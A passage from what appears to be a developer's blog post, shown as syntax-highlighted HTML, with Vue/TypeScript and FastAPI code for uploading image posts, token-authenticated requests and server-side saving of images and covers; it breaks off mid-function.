class="s2">&#34;WWW-Authenticate&#34;</span><span class="p">:</span> <span class="s2">&#34;Bearer&#34;</span><span class="p">}</span> </span></span><span class="line"><span class="cl"> <span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="c1"># Return access token</span> </span></span><span class="line"><span class="cl"> <span class="k">return</span> <span class="p">{</span><span class="s2">&#34;access_token&#34;</span><span class="p">:</span> <span class="n">access_token</span><span class="p">,</span> <span class="s2">&#34;token_type&#34;</span><span class="p">:</span> <span class="s2">&#34;bearer&#34;</span><span class="p">}</span> </span></span></code></pre></td></tr></table> </div> </div><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-typescript" data-lang="typescript"><span class="line"><span class="cl"><span class="kr">export</span> <span class="k">default</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nx">data() {</span> </span></span><span class="line"><span class="cl"> <span class="k">return</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nx">pages</span>: <span class="kt">1</span><span class="p">,</span> <span class="c1">// The current page number </span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="nx">displayData</span><span class="o">:</span> <span class="p">[],</span> <span class="c1">// An array to store the displayed images. </span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="p">};</span> </span></span><span class="line"><span class="cl"> <span class="p">},</span> </span></span><span class="line"><span class="cl"> <span class="p">...</span> </span></span><span class="line"><span class="cl"> <span class="nx">mounted() {</span> </span></span><span class="line"><span class="cl"> <span class="c1">// Called after the component is mounted and ready to use </span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="k">this</span><span class="p">.</span><span class="nx">displayIamges</span><span class="p">();</span> <span class="c1">// Display the initial set of images </span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="p">}</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span></code></pre></td></tr></table> </div> </div><p>In addition, I can also deal with the task of uploading files, updating and deleting data.</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span><span class="lnt">15 </span><span class="lnt">16 </span><span class="lnt">17 </span><span class="lnt">18 </span><span class="lnt">19 </span><span class="lnt">20 </span><span class="lnt">21 </span><span class="lnt">22 </span><span class="lnt">23 </span><span class="lnt">24 </span><span class="lnt">25 </span><span class="lnt">26 </span><span class="lnt">27 </span><span class="lnt">28 </span><span class="lnt">29 </span><span class="lnt">30 </span><span class="lnt">31 </span><span class="lnt">32 </span><span class="lnt">33 </span><span class="lnt">34 </span><span class="lnt">35 </span><span class="lnt">36 </span><span class="lnt">37 </span><span class="lnt">38 </span><span class="lnt">39 </span><span class="lnt">40 </span><span class="lnt">41 </span><span class="lnt">42 </span><span class="lnt">43 </span><span class="lnt">44 </span><span class="lnt">45 </span><span class="lnt">46 </span><span class="lnt">47 </span><span class="lnt">48 </span><span class="lnt">49 </span><span class="lnt">50 </span><span class="lnt">51 </span><span class="lnt">52 </span><span class="lnt">53 </span><span class="lnt">54 </span><span class="lnt">55 </span><span class="lnt">56 </span><span class="lnt">57 </span><span class="lnt">58 </span><span class="lnt">59 </span><span class="lnt">60 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-typescript" data-lang="typescript"><span class="line"><span class="cl"><span class="nx">uploadPost() {</span> </span></span><span class="line"><span class="cl"> <span class="c1">// Define a method called &#39;uploadPost&#39; that sends a POST request to the server with the form data entered by the user. </span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="k">if</span> <span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="nx">post_title</span> <span class="o">==</span> <span class="s2">&#34;&#34;</span> <span class="o">||</span> <span class="k">this</span><span class="p">.</span><span class="nx">description</span> <span class="o">==</span> <span class="s2">&#34;&#34;</span><span class="p">)</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="c1">// If the &#39;post_title&#39; or &#39;description&#39; data properties are empty, log an error message to the console. </span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="s2">&#34;Title and Dercription can&#39;t be empty!&#34;</span><span class="p">);</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="kr">const</span> <span class="nx">token</span> <span class="o">=</span> <span class="nx">localStorage</span><span class="p">.</span><span class="nx">getItem</span><span class="p">(</span><span class="s2">&#34;Token&#34;</span><span class="p">);</span> <span class="c1">// Get the JWT token from local storage and store it in a variable called &#39;token&#39;. </span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="kr">const</span> <span class="nx">config</span> <span class="o">=</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="c1">// Define an object called &#39;config&#39; with headers that include the JWT token and set the content type to &#39;multipart/form-data&#39;. </span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="nx">headers</span><span class="o">:</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nx">Authorization</span><span class="o">:</span> <span class="s2">&#34;Bearer &#34;</span> <span class="o">+</span> <span class="nx">token</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="s2">&#34;Content-type&#34;</span><span class="o">:</span> <span class="s2">&#34;multipart/form-data&#34;</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="p">},</span> </span></span><span class="line"><span class="cl"> <span class="p">};</span> </span></span><span class="line"><span class="cl"> <span class="kd">let</span> <span class="nx">is_nsfw</span><span class="p">;</span> <span class="c1">// Declare a variable called &#39;is_nsfw&#39;. </span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="kd">let</span> <span class="nx">bodyFormData</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">FormData</span><span class="p">();</span> <span class="c1">// Create a new instance of the FormData class and store it in a variable called &#39;bodyFormData&#39;. </span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="k">if</span> <span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="nx">is_nsfw</span><span class="p">)</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="c1">// Check whether the &#39;is_nsfw&#39; data property is true. If so, set &#39;is_nsfw&#39; to &#34;true&#34;; otherwise, set it to &#34;false&#34;. </span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="nx">is_nsfw</span> <span class="o">=</span> <span class="s2">&#34;true&#34;</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nx">is_nsfw</span> <span class="o">=</span> <span class="s2">&#34;false&#34;</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span> </span></span><span class="line"><span class="cl"> <span class="nx">bodyFormData</span><span class="p">.</span><span class="nx">append</span><span class="p">(</span><span class="s2">&#34;is_nsfw&#34;</span><span class="p">,</span> <span class="nx">is_nsfw</span><span class="p">);</span> <span class="c1">// Append the &#39;is_nsfw&#39; value to the form data object. </span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="nx">bodyFormData</span><span class="p">.</span><span class="nx">append</span><span class="p">(</span><span class="s2">&#34;post_title&#34;</span><span class="p">,</span> <span class="k">this</span><span class="p">.</span><span class="nx">post_title</span><span class="p">);</span> <span class="c1">// Append the &#39;post_title&#39; value to the form data object. </span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="nx">bodyFormData</span><span class="p">.</span><span class="nx">append</span><span class="p">(</span><span class="s2">&#34;description&#34;</span><span class="p">,</span> <span class="k">this</span><span class="p">.</span><span class="nx">description</span><span class="p">);</span> <span class="c1">// Append the &#39;description&#39; value to the form data object. </span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="k">if</span> <span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="nx">CustomCover</span><span class="p">)</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="c1">// If the &#39;CustomCover&#39; data property is true, append the cover file selected by the user to the form data object; otherwise, append an empty string. </span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="nx">bodyFormData</span><span class="p">.</span><span class="nx">append</span><span class="p">(</span><span class="s2">&#34;cover&#34;</span><span class="p">,</span> <span class="k">this</span><span class="p">.</span><span class="nx">coverFile</span> <span class="kr">as</span> <span class="kt">any</span><span class="p">);</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nx">bodyFormData</span><span class="p">.</span><span class="nx">append</span><span class="p">(</span><span class="s2">&#34;cover&#34;</span><span class="p">,</span> <span class="s2">&#34;&#34;</span><span class="p">);</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span> </span></span><span class="line"><span class="cl"> <span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;</span> <span class="k">this</span><span class="p">.</span><span class="nx">uploadImagesFile</span><span class="p">.</span><span class="nx">length</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="c1">// Loop through the array of uploaded images and append each one to the form data object. </span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="nx">uploadImagesFile</span><span class="p">[</span><span class="nx">i</span><span class="p">]);</span> </span></span><span class="line"><span class="cl"> <span class="nx">bodyFormData</span><span class="p">.</span><span class="nx">append</span><span class="p">(</span><span class="s2">&#34;uploaded_file&#34;</span><span class="p">,</span> <span class="k">this</span><span class="p">.</span><span class="nx">uploadImagesFile</span><span class="p">[</span><span class="nx">i</span><span class="p">]);</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span> </span></span><span class="line"><span class="cl"> <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">bodyFormData</span><span class="p">);</span> <span class="c1">// Log the final form data object to the console. </span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="nx">axios</span> </span></span><span class="line"><span class="cl"> <span class="p">.</span><span class="nx">post</span><span class="p">(</span><span class="s2">&#34;/posts/create&#34;</span><span class="p">,</span> <span class="nx">bodyFormData</span><span class="p">,</span> <span class="nx">config</span><span class="p">)</span> <span class="c1">// Send a POST request to the &#39;/posts/create&#39; endpoint with the form data as the payload. </span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="p">.</span><span class="nx">then</span><span class="p">((</span><span class="nx">response</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="c1">// If the request is successful... </span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">response</span><span class="p">);</span> <span class="c1">// Log the response to the console for debugging purposes. </span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="k">if</span> <span class="p">((</span><span class="nx">response</span><span class="p">.</span><span class="nx">data</span><span class="p">.</span><span class="nx">status</span> <span class="o">=</span> <span class="s2">&#34;success&#34;</span><span class="p">))</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="c1">// Check if the server responded with a success status. </span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="k">this</span><span class="p">.</span><span class="nx">$emit</span><span class="p">(</span><span class="s2">&#34;update:modelValue&#34;</span><span class="p">,</span> <span class="kc">false</span><span class="p">);</span> <span class="c1">// Emit the &#39;update:modelValue&#39; event with a value of false to close the uploader panel. </span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="nx">UpdateImages</span><span class="p">().</span><span class="nx">Update</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span> <span class="c1">// Call the &#39;UpdateImages&#39; function to update the images displayed on the website. </span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="k">this</span><span class="p">.</span><span class="nx">$router</span><span class="p">.</span><span class="nx">push</span><span class="p">(</span><span class="s2">&#34;/&#34;</span><span class="p">);</span> <span class="c1">// Redirect the user to the homepage. </span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="p">}</span> </span></span><span class="line"><span class="cl"> <span class="p">})</span> </span></span><span class="line"><span class="cl"> <span class="p">.</span><span class="k">catch</span><span class="p">((</span><span class="nx">error</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="c1">// If there was an error... </span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="nx">console</span><span class="p">.</span><span class="nx">error</span><span class="p">(</span><span class="nx">error</span><span class="p">);</span> <span class="c1">// Log the error to the console for debugging purposes. </span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="nx">alert</span><span class="p">(</span><span class="nx">error</span><span class="p">.</span><span class="nx">response</span><span class="p">.</span><span class="nx">data</span><span class="p">.</span><span class="nx">detail</span><span class="p">);</span> <span class="c1">// Display an alert with details about the error. </span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="p">});</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span> </span></span><span class="line"><span class="cl"> <span class="k">this</span><span class="p">.</span><span class="nx">post_title</span> <span class="o">=</span> <span class="s2">&#34;&#34;</span><span class="p">;</span> <span class="c1">// Reset the &#39;post_title&#39; data property to an empty string. </span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="k">this</span><span class="p">.</span><span class="nx">description</span> <span class="o">=</span> <span class="s2">&#34;&#34;</span><span class="p">;</span> <span class="c1">// Reset the &#39;description&#39; data property to an empty string. </span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="k">this</span><span class="p">.</span><span class="nx">is_nsfw</span> <span class="o">=</span> <span class="s2">&#34;&#34;</span><span class="p">;</span> <span class="c1">// Reset the &#39;is_nsfw&#39; data property to an empty string. </span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="k">this</span><span class="p">.</span><span class="nx">CustomCover</span> <span class="o">=</span> <span class="kc">false</span><span class="p">;</span> <span class="c1">// Reset the &#39;CustomCover&#39; data property to false. </span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="p">},</span> </span></span></code></pre></td></tr></table> </div> </div><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span><span class="lnt">15 </span><span class="lnt">16 </span><span class="lnt">17 </span><span class="lnt">18 </span><span class="lnt">19 </span><span class="lnt">20 </span><span class="lnt">21 </span><span class="lnt">22 </span><span class="lnt">23 </span><span class="lnt">24 </span><span class="lnt">25 </span><span class="lnt">26 </span><span class="lnt">27 </span><span class="lnt">28 </span><span class="lnt">29 </span><span class="lnt">30 </span><span class="lnt">31 </span><span class="lnt">32 </span><span class="lnt">33 </span><span class="lnt">34 </span><span class="lnt">35 </span><span class="lnt">36 </span><span class="lnt">37 </span><span class="lnt">38 </span><span class="lnt">39 </span><span class="lnt">40 </span><span class="lnt">41 </span><span class="lnt">42 </span><span class="lnt">43 </span><span class="lnt">44 </span><span class="lnt">45 </span><span class="lnt">46 </span><span class="lnt">47 </span><span class="lnt">48 </span><span class="lnt">49 </span><span class="lnt">50 </span><span class="lnt">51 </span><span class="lnt">52 </span><span class="lnt">53 </span><span class="lnt">54 </span><span class="lnt">55 </span><span class="lnt">56 </span><span class="lnt">57 </span><span class="lnt">58 </span><span class="lnt">59 </span><span class="lnt">60 </span><span class="lnt">61 </span><span class="lnt">62 </span><span class="lnt">63 </span><span class="lnt">64 </span><span class="lnt">65 </span><span class="lnt">66 </span><span class="lnt">67 </span><span class="lnt">68 </span><span class="lnt">69 </span><span class="lnt">70 </span><span class="lnt">71 </span><span class="lnt">72 </span><span class="lnt">73 </span><span class="lnt">74 </span><span class="lnt">75 </span><span class="lnt">76 </span><span class="lnt">77 </span><span class="lnt">78 </span><span class="lnt">79 </span><span class="lnt">80 </span><span class="lnt">81 </span><span class="lnt">82 </span><span class="lnt">83 </span><span class="lnt">84 </span><span class="lnt">85 </span><span class="lnt">86 </span><span class="lnt">87 </span><span class="lnt">88 </span><span class="lnt">89 </span><span class="lnt">90 </span><span class="lnt">91 </span><span class="lnt">92 </span><span class="lnt">93 </span><span class="lnt">94 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="nd">@Post_router.post</span><span class="p">(</span><span class="s2">&#34;/create&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">upload_image</span><span class="p">(</span><span class="n">is_nsfw</span><span class="p">:</span> <span class="nb">str</span> <span class="o">=</span> <span class="n">Form</span><span class="p">(),</span> </span></span><span class="line"><span class="cl"> <span class="n">db</span><span class="p">:</span> <span class="n">Session</span> <span class="o">=</span> <span class="n">Depends</span><span class="p">(</span><span class="n">get_db</span><span class="p">),</span> </span></span><span class="line"><span class="cl"> <span class="n">uploaded_file</span><span class="p">:</span> <span class="nb">list</span><span class="p">[</span><span class="n">UploadFile</span><span class="p">]</span> <span class="o">=</span> <span class="n">File</span><span class="p">(),</span> </span></span><span class="line"><span class="cl"> <span class="n">cover</span><span class="p">:</span> <span class="n">UploadFile</span> <span class="o">|</span> <span class="kc">None</span> <span class="o">=</span> <span class="kc">None</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="n">post_title</span><span class="p">:</span> <span class="nb">str</span> <span class="o">=</span> <span class="n">Form</span><span class="p">(),</span> </span></span><span class="line"><span class="cl"> <span class="n">description</span><span class="p">:</span> <span class="nb">str</span> <span class="o">=</span> <span class="n">Form</span><span class="p">(),</span> </span></span><span class="line"><span class="cl"> <span class="n">token</span><span class="p">:</span> <span class="nb">str</span> <span class="o">=</span> <span class="n">Depends</span><span class="p">(</span><span class="n">oauth2Scheme</span><span class="p">)):</span> </span></span><span class="line"><span class="cl"> <span class="c1"># This block for declare variables.</span> </span></span><span class="line"><span class="cl"> <span class="c1"># --- declare block</span> </span></span><span class="line"><span class="cl"> <span class="c1"># Get the name of user from token</span> </span></span><span class="line"><span class="cl"> <span class="n">user_name</span><span class="p">:</span> <span class="nb">str</span> <span class="o">=</span> <span class="n">token_tool</span><span class="o">.</span><span class="n">get_user_name_by_token</span><span class="p">(</span><span class="n">token</span><span class="o">=</span><span class="n">token</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="n">post_uuid</span><span class="p">:</span> <span class="nb">str</span> <span class="o">=</span> <span class="nb">str</span><span class="p">(</span><span class="n">uuid</span><span class="o">.</span><span class="n">uuid4</span><span class="p">())</span> </span></span><span class="line"><span class="cl"> <span class="c1"># If User uploaded a cover then this variable will be True.</span> </span></span><span class="line"><span class="cl"> <span class="n">cover_exist</span><span class="p">:</span> <span class="nb">bool</span> <span class="o">=</span> <span class="kc">False</span> </span></span><span class="line"><span class="cl"> <span class="c1"># -- end declare block</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> <span class="c1"># This block for verification</span> </span></span><span class="line"><span class="cl"> <span class="c1"># ---verification block</span> </span></span><span class="line"><span class="cl"> <span class="k">if</span> <span class="ow">not</span> <span class="n">crud</span><span class="o">.</span><span class="n">get_user_by_name</span><span class="p">(</span><span class="n">db</span><span class="p">,</span> <span class="n">user_name</span><span class="o">=</span><span class="n">user_name</span><span class="p">)</span> <span class="ow">and</span> <span class="ow">not</span> <span class="n">crud</span><span class="o">.</span><span class="n">get_admin_by_name</span><span class="p">(</span><span class="n">db</span><span class="p">,</span> <span class="n">user_name</span><span class="o">=</span><span class="n">user_name</span><span class="p">):</span> </span></span><span class="line"><span class="cl"> <span class="k">raise</span> <span class="n">HTTPException</span><span class="p">(</span> </span></span><span class="line"><span class="cl"> <span class="n">status_code</span><span class="o">=</span><span class="mi">400</span><span class="p">,</span> <span class="n">detail</span><span class="o">=</span><span class="s2">&#34;The user does not exist!&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="k">if</span> <span class="n">cover</span><span class="p">:</span> </span></span><span class="line"><span class="cl"> <span class="n">cover_exist</span> <span class="o">=</span> <span class="kc">True</span> </span></span><span class="line"><span class="cl"> <span class="c1"># Return Error, if list have same file name.</span> </span></span><span class="line"><span class="cl"> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">uploaded_file</span><span class="p">:</span> </span></span><span class="line"><span class="cl"> <span class="k">if</span> <span class="n">x</span><span class="o">.</span><span class="n">filename</span> <span class="ow">in</span> <span class="n">uploaded_file</span><span class="p">:</span> </span></span><span class="line"><span class="cl"> <span class="k">raise</span> <span class="n">HTTPException</span><span class="p">(</span> </span></span><span class="line"><span class="cl"> <span class="n">status_code</span><span class="o">=</span><span class="mi">400</span><span class="p">,</span> <span class="n">detail</span><span class="o">=</span><span class="s2">&#34;File name not be same!&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> <span class="c1"># Create the post direction witch named its uuid in IMAGE_DIR from config.py.</span> </span></span><span class="line"><span class="cl"> <span class="n">current_post_path_obj</span> <span class="o">=</span> <span class="n">Path</span><span class="p">(</span><span class="n">config</span><span class="o">.</span><span class="n">POST_DIR</span><span class="p">)</span><span class="o">.</span><span class="n">joinpath</span><span class="p">(</span><span class="n">post_uuid</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="c1"># If the direction already existed then return error.</span> </span></span><span class="line"><span class="cl"> <span class="k">if</span> <span class="n">current_post_path_obj</span><span class="o">.</span><span class="n">is_dir</span><span class="p">():</span> </span></span><span class="line"><span class="cl"> <span class="k">raise</span> <span class="n">HTTPException</span><span class="p">(</span> </span></span><span class="line"><span class="cl"> <span class="n">status_code</span><span class="o">=</span><span class="mi">500</span><span class="p">,</span> <span class="n">detail</span><span class="o">=</span><span class="s2">&#34;Cannot to create post.&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="n">current_post_path_obj</span><span class="o">.</span><span class="n">mkdir</span><span class="p">()</span> </span></span><span class="line"><span class="cl"> <span class="n">current_post_path_obj</span><span class="o">.</span><span class="n">joinpath</span><span class="p">(</span><span class="s2">&#34;cover&#34;</span><span class="p">)</span><span class="o">.</span><span class="n">mkdir</span><span class="p">()</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> <span class="c1"># Check image files suffix.</span> </span></span><span class="line"><span class="cl"> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">uploaded_file</span><span class="p">:</span> </span></span><span class="line"><span class="cl"> <span class="k">if</span> <span class="n">x</span><span class="o">.</span><span class="n">filename</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s2">&#34;.&#34;</span><span class="p">)[</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span> <span class="ow">not</span> <span class="ow">in</span> <span class="n">config</span><span class="o">.</span><span class="n">ALLOW_SUFFIX</span><span class="p">:</span> </span></span><span class="line"><span class="cl"> <span class="k">raise</span> <span class="n">HTTPException</span><span class="p">(</span> </span></span><span class="line"><span class="cl"> <span class="n">status_code</span><span class="o">=</span><span class="mi">400</span><span class="p">,</span> <span class="n">detail</span><span class="o">=</span><span class="s2">&#34;Not allowed file type.&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="k">if</span> <span class="n">cover</span><span class="p">:</span> </span></span><span class="line"><span class="cl"> <span class="k">if</span> <span class="n">cover</span><span class="o">.</span><span class="n">filename</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s2">&#34;.&#34;</span><span class="p">)[</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span> <span class="ow">not</span> <span class="ow">in</span> <span class="n">config</span><span class="o">.</span><span class="n">ALLOW_SUFFIX</span><span class="p">:</span> </span></span><span class="line"><span class="cl"> <span class="k">raise</span> <span class="n">HTTPException</span><span class="p">(</span> </span></span><span class="line"><span class="cl"> <span class="n">status_code</span><span class="o">=</span><span class="mi">500</span><span class="p">,</span> <span class="n">detail</span><span class="o">=</span><span class="s2">&#34;Not allowed file type.&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> <span class="n">save_post_status</span><span class="p">:</span> <span class="nb">bool</span> <span class="o">=</span> <span class="n">dir_tool</span><span class="o">.</span><span class="n">save_post_images</span><span class="p">(</span> </span></span><span class="line"><span class="cl"> <span class="n">post_uuid</span><span class="o">=</span><span class="n">post_uuid</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="n">uploaded_file</span><span class="o">=</span><span class="n">uploaded_file</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="n">supplementary_mode</span><span class="o">=</span><span class="kc">False</span> </span></span><span class="line"><span class="cl"> <span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="k">if</span> <span class="ow">not</span> <span class="n">save_post_status</span><span class="p">:</span> </span></span><span class="line"><span class="cl"> <span class="k">raise</span> <span class="n">HTTPException</span><span class="p">(</span> </span></span><span class="line"><span class="cl"> <span class="n">status_code</span><span class="o">=</span><span class="mi">400</span><span class="p">,</span> <span class="n">detail</span><span class="o">=</span><span class="s2">&#34;Cannot save the post on server!&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> <span class="n">save_cover_status</span><span class="p">:</span> <span class="nb">bool</span> <span class="o">=</span> <span class="n">dir_tool</span><span class="o">.</span><span class="n">save_post_cover</span><span class="p">(</span> </span></span><span class="line"><span class="cl"> <span class="n">cover_name</span><span class="o">=</span><span class="n">uploaded_file</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">.</span><span class="n">filename</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="n">post_uuid</span><span class="o">=</span><span class="n">post_uuid</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="n">cover</span><span class="o">=</span><span class="n">cover</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="n">cover_exist</span><span class="o">=</span><span class="n">cover_exist</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="n">update_mode</span><span class="o">=</span><span class="kc">False</span> </span></span><span class="line"><span class="cl"> <span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="k">if</span> <span class="ow">not</span> <span class="n">save_cover_status</span><span class="p">:</span> </span></span><span class="line"><span class="cl"> <span class="k">raise</span> <span class="n">HTTPException</span><span class="p">(</span> </span></span><span class="line"><span class="cl"> <span class="n">status_code</span><span class="o">=</span><span class="mi">400</span><span class="p">,</span> <span class="n">detail</span><span class="o">=</span><span class="s2">&#34;Cannot save the cover of post on server!&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> <span class="n">compress_cover_status</span><span class="p">:</span> <span class="nb">bool</span> <span class="o">=</span> <span class="n">dir_tool</span><span class="o">.</span><span class="n">compress_cover</span><span class="p">(</span> </span></span><span class="line"><span class="cl"> <span class="n">post_uuid</span><span class="o">=</span><span class="n">post_uuid</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="n">update_mode</span><span class="o">=</span><span class="kc">False</span> </span></span><span class="line"><span class="cl"> <span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="k">if</span> <span class="ow">not</span> <span class="n">compress_cover_status</span><span class="p">:</span> </span></span><span class="line"><span class="cl"> <span class="k">raise</span> <span class="n">HTTPException</span><span class="p">(</span> </span></span><span class="line"><span class="cl"> <span class="n">status_code</span><span class="o">=</span><span class="mi">400</span><span class="p">,</span> <span class="n">detail</span><span class="o">=</span><span class="s2">&#34;Cannot compress the cover of post on server!&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> <span class="k">if</span> <span class="n">is_nsfw</span> <span class="o">==</span> <span class="s2">&#34;true&#34;</span><span class="p">:</span> </span></span><span class="line"><span class="cl"> <span class="n">nsfw_db</span><span class="p">:</span> <span class="nb">bool</span> <span class="o">=</span> <span class="kc">True</span> </span></span><span class="line"><span class="cl"> <span class="k">else</span><span class="p">:</span> </span></span><span class="line"><span class="cl"> <span class="n">nsfw_db</span><span class="p">:</span> <span class="nb">bool</span> <span class="o">=</span> <span class="kc">False</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> <span class="n">crud</span><span class="o">.</span><span class="n">db_create_post</span><span class="p">(</span> </span></span><span class="line"><span class="cl"> <span class="n">db</span><span class="o">=</span><span 